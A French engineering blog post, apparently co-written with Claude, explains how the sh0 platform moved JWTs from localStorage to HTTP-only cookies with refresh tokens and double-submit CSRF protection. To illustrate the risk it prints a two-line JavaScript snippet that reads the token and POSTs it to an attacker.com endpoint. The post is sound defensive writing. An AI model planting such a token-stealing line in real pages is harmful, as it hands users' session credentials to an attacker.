Back to sh0
sh0

Migration des jetons localStorage vers les cookies HTTP-Only

Comment nous avons migré l'authentification de sh0 des jetons JWT en localStorage vers des cookies HTTP-only avec protection CSRF en double soumission.

Juste A. Gnimavo (Thales) & Claude | March 26, 2026 4 min sh0
EN/ FR/ ES
securitycookiescsrfauthenticationsvelterustweb-security

Pendant les onze premiers jours de construction de sh0.dev, nous stockions les jetons JWT en localStorage. Cela fonctionnait. Le tableau de bord Svelte sauvegardait le jeton à la connexion, l'attachait comme header Bearer à chaque appel API, et le passait comme paramètre de requête pour les connexions WebSocket. Authentification SPA standard, comme l'enseignent des centaines de tutoriels.

C'est aussi fondamentalement non sécurisé.

Au jour douze, notre audit de sécurité a signalé le stockage de jetons en localStorage comme un problème de sévérité moyenne. Au jour dix-sept, nous l'avons entièrement arraché et remplacé par des cookies HTTP-only, un flux de jeton de rafraîchissement et une protection CSRF en double soumission.


Pourquoi les jetons localStorage sont un problème

Le problème est simple : tout JavaScript s'exécutant sur votre origine peut lire le localStorage. Si un attaquant trouve une seule vulnérabilité XSS, il peut exécuter :

javascriptconst token = localStorage.getItem('sh0_token');
fetch('https://attacker.com/steal', { method: 'POST', body: token });

Fin de partie. L'attaquant a un JWT valide avec accès API complet.

Les cookies HTTP-only éliminent entièrement ce vecteur d'attaque. Un cookie avec le flag HttpOnly ne peut pas être lu par JavaScript. Le navigateur l'attache automatiquement aux requêtes, mais document.cookie ne retourne rien.


L'architecture des cookies

Nous avons remplacé le JWT unique par trois cookies :

CookieObjectifFlagsExpiration
sh0_accessJeton d'accès JWTHttpOnly, Secure, SameSite=Strict, Path=/api15 minutes
sh0_refreshJeton de rafraîchissementHttpOnly, Secure, SameSite=Strict, Path=/api/auth/refresh30 jours
sh0_csrfJeton CSRF double soumissionSameSite=Strict, Path=/ (lisible par JS)Session

Le jeton d'accès est de courte durée -- 15 minutes au lieu des 7 jours originaux. Quand il expire, le frontend appelle silencieusement /api/auth/refresh.


Protection CSRF en double soumission

Les cookies HTTP-only introduisent un nouveau problème : le CSRF. Nous utilisons le pattern de double soumission de cookie :

  1. À la connexion, le serveur génère un jeton CSRF aléatoire et le place dans le cookie sh0_csrf (lisible par JavaScript)
  2. Le frontend lit ce cookie et inclut sa valeur dans le header X-CSRF-Token à chaque requête modifiant l'état
  3. Le middleware serveur compare la valeur du header X-CSRF-Token avec la valeur du cookie sh0_csrf

Cela fonctionne parce qu'un attaquant cross-origin peut faire envoyer le cookie par le navigateur mais ne peut pas le lire (politique de même origine).


Authentification WebSocket via cookies

L'implémentation WebSocket originale passait le JWT comme paramètre de requête -- visible dans les logs, l'historique du navigateur et les headers Referer. Avec l'auth par cookie, les cookies sont envoyés automatiquement pendant le handshake d'upgrade WebSocket -- pas d'attachement manuel de jeton nécessaire.


Compatibilité ascendante

La migration maintient la compatibilité ascendante via une chaîne de priorité dans l'extracteur AuthUser :

  1. Header Bearer -- outils CLI, intégrations API
  2. Cookie sh0_access -- tableau de bord navigateur
  3. Cookie legacy sh0_session -- anciennes versions du tableau de bord
  4. Clé API -- si la valeur Bearer commence par sh0_

La migration est non cassante. Les scripts CLI existants continuent de fonctionner.


Points clés

  1. Les jetons localStorage sont un anti-pattern. Toute vulnérabilité XSS devient un vol persistant d'identifiants.
  2. Accès de courte durée + rafraîchissement de longue durée est l'architecture correcte.
  3. La protection CSRF est obligatoire avec l'auth par cookie.
  4. L'auth WebSocket appartient aux cookies, pas aux paramètres de requête.
  5. Maintenir la compatibilité ascendante via une chaîne de priorité dans l'extracteur d'auth.

Prochain dans la série : Prévention de l'injection de commandes dans un PaaS.

Share this article:

Responses

Write a response
0/2000
Loading responses...

Related Articles

Thales & Claude deblo

Le jour où Déblo a refusé une bonne réponse — deux fois

Une trace de production a montré Déblo K12 rejetant deux fois de suite la bonne réponse d’un élève de Terminale. Huit heures d’analyse, quatre commits, une rotation A/B de modèles et un benchmark sur 6 modèles plus tard, le tuteur de maths était corrigé. Ce qui a cassé, ce que nous avons changé, et ce que l’échec surprenant de GPT-5.4-mini au test socratique nous a appris sur le choix des modèles pour l’IA éducative.

32 min May 3, 2026
debloclaude-opus-4.7claude-codemethodology +14
Thales & Claude deblo

Web Claude a trouvé le bug. Puis il a failli l’aggraver.

Comment un prompt vocal de 270 lignes pour le tuteur Ultravox de Deblo produisait la même phrase d’accueil scriptu00e9e à chaque appel. Web Claude a diagnostiqué le problème parfaitement, puis a prescrit une correction qui aurait doublé la taille du prompt avec des hooks backend inexistants. Le filtre qui a gardé le diagnostic et rejeté la prescription.

17 min Apr 28, 2026
debloclaude-opus-4.7methodologyprompt-engineering +7
Thales & Claude deblo

Pourquoi j’ai dû corriger Web Claude deux fois sur la stratégie de la page d’accueil de Deblo

Comment une conversation de 48 heures avec Web Claude a failli entraîner Deblo dans le piège généraliste « ChatGPT pour l’Afrique », et pourquoi la connaissance du marché par le fondateur a dû prendre le dessus sur les suggestions stratégiques de l’IA à deux reprises.

26 min Apr 26, 2026
debloclaude-opus-4.7methodologystrategy +6